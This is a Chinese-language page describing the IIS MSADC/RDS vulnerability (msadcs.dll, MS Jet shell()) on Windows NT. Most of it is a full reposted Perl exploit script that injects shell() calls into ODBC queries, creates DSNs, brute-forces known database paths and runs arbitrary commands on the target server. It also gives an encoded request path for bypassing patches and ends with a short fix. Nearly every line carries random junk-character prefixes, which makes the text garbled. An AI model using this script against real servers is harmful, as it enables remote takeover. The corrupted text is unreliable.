IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Cf@~W)K }F3}-5![ 涉及程序：
ciR n"X=l Microsoft NT server
KQ0Zy ! #l> +9 描述：
AD_RU_a9 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
l{ tpFu9v *x[ZN\$`Y 详细：
Jq 0aDf
f 如果你没有时间读详细内容的话，就删除:
LWG%]m|C c:\Program Files\Common Files\System\Msadc\msadcs.dll
ziUEA>m */ 有关的安全问题就没有了。
S<Z]gY @c "G. L)oD 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
9[ yW&t;# $yG>=GN 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
N!R>L{H> 关于利用ODBC远程漏洞的描述，请参看:
;Fw{p{7< r8.R?5F@ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm U .?N
m2wGg/F5 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
_P6e%O8C# http://www.microsoft.com/security/bulletins/MS99-025faq.asp 3 [mVPV .Jk[thyU 这里不再论述。
5>z`==N) 8nzDLFxp_ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
m-V_J` 9" >bQ'*! /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
a, <l_#' 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
J1P
jMb} /) 6+I(H fTb&k;'LR< #将下面这段保存为txt文件，然后: "perl -x 文件名"
#mhR^60, "+SnHpNx #!perl
[D/q
#
`M0m`Up # MSADC/RDS 'usage' (aka exploit) script
} a#RX$d& #
"u#,#z _ # by rain.forest.puppy
p0c*)_a* #
)fPN6x/e # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
/2 V # beta test and find errors!
x-0O3IIE tf1iRXf8 use Socket; use Getopt::Std;
4 :1URhE getopts("e:vd:h:XR", \%args);
WC2sRv4]3 D^]g`V*N print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
.|ZO2MCd IRWVoCc9/\ if (!defined $args{h} && !defined $args{R}) {
p7H0| > print qq~
Sv&_LZ-"P Usage: msadc.pl -h <host> { -d <delay> -X -v }
Ife/:v -h <host> = host you want to scan (ip or domain)
D==C"} J -d <seconds> = delay between calls, default 1 second
=i'APeNaQ -X = dump Index Server path table, if available
o $PY 0~# -v = verbose
S fl. &A( -e = external dictionary file for step 5
>;wh0dBe -zn$h$N4 Or a -R will resume a command session
*@; Pns]L- ),DL rGOl ~; exit;}
{tE9m@[AF =;HC7TUM& $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
c p| q if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
/6Bm
<k% if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
r.WQ6h/eZ5 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Fa ]|Y $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
EA# {N< if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
o8uak*"{ yLpsK[)}\ if (!defined $args{R}){ $ret = &has_msadc;
sVT:1 kI die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
t4Q&^AC &YiUhK print "Please type the NT commandline you want to run (cmd /c assumed):\n"
SM? rss.= . "cmd /c ";
_+B{n^ { $in=<STDIN>; chomp $in;
l$1
] $command="cmd /c " . $in ;
E@.daUo B 9E`La f if (defined $args{R}) {&load; exit;}
LH_VdLds Sbzx7 * X print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
N [qNSo| &try_btcustmr;
OSu/ !Iv\ B183h print "\nStep 2: Trying to make our own DSN...";
;T-`~ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
A,PF#G( TUy
25E print "\nStep 3: Trying known DSNs...";
$I*<gn9 &known_dsn;
w20)~&LE- 1n3XB+* print "\nStep 4: Trying known .mdbs...";
J 2H$ALl &known_mdb;
a_z1S Z2[ NuEcTww if (defined $args{e}){
uT#4"G9A[ print "\nStep 5: Trying dictionary of DSN names...";
y=HM]EH> &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
rq(9w*MW: bukdyo;l print "Sorry Charley...maybe next time?\n";
ro}WBv exit;
T<ka4 K=K]R01/o ##############################################################################
4tA`,}ywPq P 7`RAz sub sendraw { # ripped and modded from whisker
[ 8 I*lsS sleep($delay); # it's a DoS on the server! At least on mine...
WALK@0E my ($pstr)=@_;
0bz':M#k & socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
>~}}*yp die("Socket problems\n");
eeVz Oq( if(connect(S,pack "SnA4x8",2,80,$target)){
Tx A%{0 select(S); $|=1;
FE=vUQXE2 print $pstr; my @in=<S>;
DeK&_)g| Z select(STDOUT); close(S);
OCN:{ return @in;
Pl/B#Sbf' } else { die("Can't connect...\n"); }}
JHJIjYG>P MkK6.qV\z
##############################################################################
r-e-2y7 zE8qU; sub make_header { # make the HTTP request
s=8$h:^9> my $msadc=<<EOT
16-1&WuY@ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
!n^7&Y[N; User-Agent: ACTIVEDATA
z( dDX%k@ Host: $ip
nvInq2T 1 Content-Length: $clen
,R$U(,>_0 Connection: Keep-Alive
\Dx5= Lh GeFu_7u!| ADCClientVersion:01.06
;659 E_y> Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
hd>_K*oH =WEWs4V5A --!ADM!ROX!YOUR!WORLD!
TQL_K8k@_ Content-Type: application/x-varg
=38c} ( Content-Length: $reqlen
p!/ *(TT a /Ik^:>m EOT
Nm{J=` ; $msadc=~s/\n/\r\n/g;
-Pp =)_O return $msadc;}
ecdM+kP &=[N{N?( ##############################################################################
?m bI6fYv *r/o
\pyH sub make_req { # make the RDS request
jBr3Ay@< my ($switch, $p1, $p2)=@_;
.2 2}= z my $req=""; my $t1, $t2, $query, $dsn;
:G4)edwe "ivSpec.V if ($switch==1){ # this is the btcustmr.mdb query
l\6.f_ $query="Select * from Customers where City=" . make_shell();
dTVh{~/ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
(.~,I+Cz' $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
tSX,*cz Z}`A'#! elsif ($switch==2){ # this is general make table query
z{ (c-7* $query="create table AZZ (B int, C varchar(10))";
0RF<:9@x2 $dsn="$p1";}
fO{'$ ?K s*tzU.E ( elsif ($switch==3){ # this is general exploit table query
Or RU$5Lo $query="select * from AZZ where C=" . make_shell();
-Gj."ks $dsn="$p1";}
,e@707d`\ v$~ZT_"(9 elsif ($switch==4){ # attempt to hork file info from index server
c :u2a /Q? $query="select path from scope()";
1Q!^% {Y; $dsn="Provider=MSIDXS;";}
[pzo[0G 'v \=
G8 elsif ($switch==5){ # bad query
8,&pX ga $query="select";
1$v1: 6 $dsn="$p1";}
xX~;
/e&, Gj- *D7X5 $t1= make_unicode($query);
|bX{ MF $t2= make_unicode($dsn);
F3 =iyiz6 $req = "\x02\x00\x03\x00";
? oQ_qleuo $req.= "\x08\x00" . pack ("S1", length($t1));
*?R<gWCF $req.= "\x00\x00" . $t1 ;
g E $@:j $req.= "\x08\x00" . pack ("S1", length($t2));
w= x
[=O $req.= "\x00\x00" . $t2 ;
K*aGz8N $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
umI6# Vd`= return $req;}
Senb_ ? U&OE* dq ##############################################################################
Eemk2>iP? bnxR)b~ sub make_shell { # this makes the shell() statement
qlg?'l$03) return "'|shell(\"$command\")|'";}
,3bAlc8D7 qwvch^?>FQ ##############################################################################
v"V? p K hV<MFB sub make_unicode { # quick little function to convert to unicode
n_ S)9C'= my ($in)=@_; my $out;
pP*`b<| for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
%0lJ(hm return $out;}
%-O[%Dy ps M&r ##############################################################################
gPY Cw?zQ \heQVWRl sub rdo_success { # checks for RDO return success (this is kludge)
gV N&?`k*? my (@in) = @_; my $base=content_start(@in);
=`f"8 ,5 if($in[$base]=~/multipart\/mixed/){
qVr?st return 1 if( $in[$base+10]=~/^\x09\x00/ );}
5@`DS-7h return 0;}
v0W/7?D I`[s(C>3@ ##############################################################################
F(;95 TB 8]A`WDO3 sub make_dsn { # this makes a DSN for us
Qg5-I$0 my @drives=("c","d","e","f");
^T_2 s print "\nMaking DSN: ";
Q mY1Bn?s foreach $drive (@drives) {
xf 4`+[ print "$drive: ";
-3|i5,f my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
}^Ky)** "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
jB0ED0)wX . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
t 4FaU7 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
5tcJ T z return 0 if $2 eq "404"; # not found/doesn't exist
>OW>^%\!1 if($2 eq "200") {
.WpvDDUK3 foreach $line (@results) {
11BfJvs: return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
4qg]
oiT } return 0;}
ds<q"S {p 5 u^;71 ##############################################################################
wKj0vMW mVEHVz $ sub verify_exists {
V38v2LI my ($page)=@_;
k%h%mz my @results=sendraw("GET $page HTTP/1.0\n\n");
? vocI return $results[0];}
)jm u*D5N 9p%8VDF= ##############################################################################
{"@E_{\ +^V%D!.$@ sub try_btcustmr {
nI< Ab_EB my @drives=("c","d","e","f");
{ GKq Ou my @dirs=("winnt","winnt35","winnt351","win","windows");
rEY5,'?YHv l POcX'3\ foreach $dir (@dirs) {
2R`/Oox print "$dir -> "; # fun status so you can see progress
@ >Ul0&Mf? foreach $drive (@drives) {
Z >F5rkJ print "$drive: "; # ditto
F'3-*> ]P $reqlen=length( make_req(1,$drive,$dir) ) - 28;
ca?;!~%zA $reqlenlen=length( "$reqlen" );
x[1( cj $clen= 206 + $reqlenlen + $reqlen;
BZ s?tbf \"AzT{l!; my @results=sendraw(make_header() . make_req(1,$drive,$dir));
) d"s6i if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
` EgO&;1D) else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
`ILO]+`5 +i6XCN1= ##############################################################################
& dvL` K0z@gWGE sub odbc_error {
;(~H(]D my (@in)=@_; my $base;
P'p5-l UK my $base = content_start(@in);
[y1
x`WOk9 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
[cvtF(, $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
&+-]!^2o $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
@DK;i_i $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Ilv
_. return $in[$base+4].$in[$base+5].$in[$base+6];}
>TQnCG = print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
&Ez]pKjB print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
D$PR<>=y $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
8VLD yX2- .80L>0 ##############################################################################
(d$ksf_[%f Kk<MS$Ov sub verbose {
4xnM7t\ my ($in)=@_;
4Q5 c' return if !$verbose;
e y! { print STDOUT "\n$in\n";}
BZ -) XF'4 xH/Pw? ^ ##############################################################################
&s<'fSI E-XFW]I sub save {
Ialbz\;F2% my ($p1, $p2, $p3, $p4)=@_;
)R]gJ_ ,c open(OUT, ">rds.save") || print "Problem saving parameters...\n";
m9m]q&hx print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
1)N{!w` close OUT;}
k{d)'\FM BuIly&qbm< ##############################################################################
r4(Cb_ Fmux#}Z sub load {
g
xf|L>= my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
!>gu#Q{\- open(IN,"<rds.save") || die("Couldn't open rds.save\n");
O a#m}b @p=<IN>; close(IN);
Mg}8 3kS $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Nw|m"VLb $target= inet_aton($ip) || die("inet_aton problems");
4> $weu^ print "Resuming to $ip ...";
M}*#{UV2 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
SM@RELA'Lb if($p[1]==1) {
L !V6 Rfy $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
GPVqt"TY $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
PTFe>~vr* my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
M~#%
[?iU if (rdo_success(@results)){print "Success!\n";}
bRb+3au_x
else { print "failed\n"; verbose(odbc_error(@results));}}
~ f:jI1(} elsif ($p[1]==3){
.*+KQ A8 if(run_query("$p[3]")){
=x3ZQA print "Success!\n";} else { print "failed\n"; }}
E#A}J: elsif ($p[1]==4){
L fx$M if(run_query($drvst . "$p[3]")){
|"XxM(Dm print "Success!\n"; } else { print "failed\n"; }}
)Y:9sd8g7 exit;}
r%^J3 KWB;*P
C^ ##############################################################################
#I|jFn9 yqKERdm sub create_table {
*cnx p-)ub my ($in)=@_;
UJ8V%0 $reqlen=length( make_req(2,$in,"") ) - 28;
1} h''p $reqlenlen=length( "$reqlen" );
XI* cu\7sy $clen= 206 + $reqlenlen + $reqlen;
^lYa9k my @results=sendraw(make_header() . make_req(2,$in,""));
1L:sck5k return 1 if rdo_success(@results);
+Xjevg6DU my $temp= odbc_error(@results); verbose($temp);
X P'7+/A return 1 if $temp=~/Table 'AZZ' already exists/;
|.c|\e z/ return 0;}
("$ ,FRTQ: mFu0$N6]H ##############################################################################
5\|u]
~b M4m90C;dq sub known_dsn {
I:9jn" # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
,}hJ ) my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
nax(V "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
&@anv .D "banner", "banners", "ads", "ADCDemo", "ADCTest");
G,6Zy-Y9 _6 ,T b] foreach $dSn (@dsns) {
9X6l`bo' print ".";
F"*.Q q next if (!is_access("DSN=$dSn"));
dDoKmuY>5 if(create_table("DSN=$dSn")){
#Z.2g]. print "$dSn successful\n";
!p#+I= if(run_query("DSN=$dSn")){
/"*eMe!= print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
jaq`A'o5 print "Something's borked. Use verbose next time\n";}}} print "\n";}
W nL Ma|e [~_()i=Y ##############################################################################
hRW RXC 9 J&bhR9sF sub is_access {
rBY{&JhS my ($in)=@_;
I||4.YT $reqlen=length( make_req(5,$in,"") ) - 28;
d#*n@@V4 $reqlenlen=length( "$reqlen" );
4Ev#`i3~ $clen= 206 + $reqlenlen + $reqlen;
6rD
Oa~< B my @results=sendraw(make_header() . make_req(5,$in,""));
WMw]W& my $temp= odbc_error(@results);
4`Z8EV verbose($temp); return 1 if ($temp=~/Microsoft Access/);
_RcFV return 0;}
!^EdB}@yS ]@D#<[5\ ##############################################################################
vQiKpO* = g[Cs* sub run_query {
"\l O1D my ($in)=@_;
RN0=jo!58 $reqlen=length( make_req(3,$in,"") ) - 28;
Z<,$Xv L $reqlenlen=length( "$reqlen" );
OKH4n/pq $clen= 206 + $reqlenlen + $reqlen;
?U;KwS]% my @results=sendraw(make_header() . make_req(3,$in,""));
; OpN &q+ return 1 if rdo_success(@results);
K
V-}:u( my $temp= odbc_error(@results); verbose($temp);
&+Iv "9 return 0;}
2/]74d8 ZSo#vQ ##############################################################################
_:Jra n6f sub known_mdb {
@h&crI[c my @drives=("c","d","e","f","g");
?U PZ49y my @dirs=("winnt","winnt35","winnt351","win","windows");
KNw{\Pz~w my $dir, $drive, $mdb;
RXF%A5FXh my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
=Hs[peO* #~Z55 D_ # this is sparse, because I don't know of many
_Ka6! 9 my @sysmdbs=( "\\catroot\\icatalog.mdb",
D'!
v9} "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
ue;o:>G "\\system32\\certmdb.mdb",
' `K-rvF,C "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
ap xY2o E& ?B!=DC @?H my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
Zo i\r "\\cfusion\\cfapps\\forums\\forums_.mdb",
l1h;ng6 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
s^ n}m#T "\\cfusion\\cfapps\\security\\realm_.mdb",
k]<E1 c/ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
?t J yQT "\\cfusion\\database\\cfexamples.mdb",
a9=pZ1QAG "\\cfusion\\database\\cfsnippets.mdb",
K3Wh F "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
} 9qbF+b "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
P e\AH "\\cfusion\\brighttiger\\database\\cleam.mdb",
=(^-s Jk "\\cfusion\\database\\smpolicy.mdb",
+TQMA >@g< "\\cfusion\\database\cypress.mdb",
!k= ~5)x "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
nb GB84 "\\website\\cgi-win\\dbsample.mdb",
#`>46T "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
#s-^4znv9 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
f uQb h ); #these are just
_ `RCY^t foreach $drive (@drives) {
4R~f foreach $dir (@dirs){
HZH zjrx foreach $mdb (@sysmdbs) {
n4YedjHSN print ".";
GT)63| if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
wLDWD,"K print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
bJz}\[z if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
EMV< PshW= print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
w!=Fi } else { print "Something's borked. Use verbose next time\n"; }}}}}
p? dXs^ c *+-L`b{SX foreach $drive (@drives) {
9EE},D foreach $mdb (@mdbs) {
P9\!JH! print ".";
mF?GQls` if(create_table($drv . $drive . $dir . $mdb)){
-666|pA print "\n" . $drive . $dir . $mdb . " successful\n";
]ZB^Hi_ if(run_query($drv . $drive . $dir . $mdb)){
6^oQ8unmS print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
ZDI%?.U } else { print "Something's borked. Use verbose next time\n"; }}}}
soH
M5<U }
0(Hhb#WDh\ eoC@b/F4 ##############################################################################
#ZP U.NNT? pnvHh0ck_ sub hork_idx {
)< kI d4E print "\nAttempting to dump Index Server tables...\n";
kbxy^4" X print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
@LzqQ [ $reqlen=length( make_req(4,"","") ) - 28;
,.cNs5 [t $reqlenlen=length( "$reqlen" );
i09w( k? $clen= 206 + $reqlenlen + $reqlen;
4|Wg lri my @results=sendraw2(make_header() . make_req(4,"",""));
H.D1|sU if (rdo_success(@results)){
9 NO^ ' my $max=@results; my $c; my %d;
!w!} `|q for($c=19; $c<$max; $c++){
3y9K' $results[$c]=~s/\x00//g;
7q' _]$ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
x*EzX4$x $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
_msV3JBr $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
>|"mhNF $d{"$1$2"}="";}
_m
*8f\ foreach $c (keys %d){ print "$c\n"; }
Zj*kHjn" } else {print "Index server doesn't seem to be installed.\n"; }}
qNLG- m,n< ~1NK@=7T ##############################################################################
2
f" =f^rf #9{9T"ed sub dsn_dict {
9'qU4I open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Y SvZ7G(m> while(<IN>){
'%u 7XuU-] $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
.)7r /1o next if (!is_access("DSN=$dSn"));
r@2{>j8 if(create_table("DSN=$dSn")){
L xM.z1 print "$dSn successful\n";
6e vW
O! if(run_query("DSN=$dSn")){
R3G+tE/Y print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Q}a,+*N. print "Something's borked. Use verbose next time\n";}}}
@wy&Z print "\n"; close(IN);}
", b3C. \8~P3M":c ##############################################################################
jAa{;p"j U q*Hf%I" sub sendraw2 { # ripped and modded from whisker
w/L^w50pt sleep($delay); # it's a DoS on the server! At least on mine...
|r]f 2Mrm my ($pstr)=@_;
gbf-3KSp^ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Mp V 3. die("Socket problems\n");
ii.L]#3y if(connect(S,pack "SnA4x8",2,80,$target)){
y U-^w^4 print "Connected. Getting data";
|NbF3 fD open(OUT,">raw.out"); my @in;
"funF vY select(S); $|=1; print $pstr;
8 $|< `:~J while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
WM o close(OUT); select(STDOUT); close(S); return @in;
92@/8,[ } else { die("Can't connect...\n"); }}
JYY:~2
d$3;o&VUNI ##############################################################################
wIrjWU2 Vr1Wr%
sub content_start { # this will take in the server headers
Y: ~A-_ my (@in)=@_; my $c;
l1_Tr2A}7/ for ($c=1;$c<500;$c++) {
UN~dzA~V if($in[$c] =~/^\x0d\x0a/){
X>[x7t: if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
ZfpV=DU else { return $c+1; }}}
i/&?e+ i return -1;} # it should never get here actually
>|)ia5# K/2k/\Jk[_ ##############################################################################
6,Z fC<) M~0A-* N sub funky {
}@6/sg
my (@in)=@_; my $error=odbc_error(@in);
2(-J9y| if($error=~/ADO could not find the specified provider/){
?P+n0S! print "\nServer returned an ADO miscofiguration message\nAborting.\n";
z/JoU je exit;}
@>wD`< U| if($error=~/A Handler is required/){
j|`6[93MG print "\nServer has custom handler filters (they most likely are patched)\n";
sHqs)@D exit;}
KjrUTG 0oA if($error=~/specified Handler has denied Access/){
~ wMdk9RQ print "\nServer has custom handler filters (they most likely are patched)\n";
Bs@!S? exit;}}
6@7K\${ hi{#HX a ##############################################################################
c) d*[OI8 v ^Eg ,&( sub has_msadc {
jRswGMx my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
&C~R* my $base=content_start(@results);
cTA8F"UGD return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
n{>Ge,enP0 return 0;}
D 8nt%vy @}#" o ########################
6.o8vC/PZ &GF|Rr8NXs bIFKP 解决方案：
jV(\]g"/= 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
>&@hm4 2、移除web 目录: /msadc
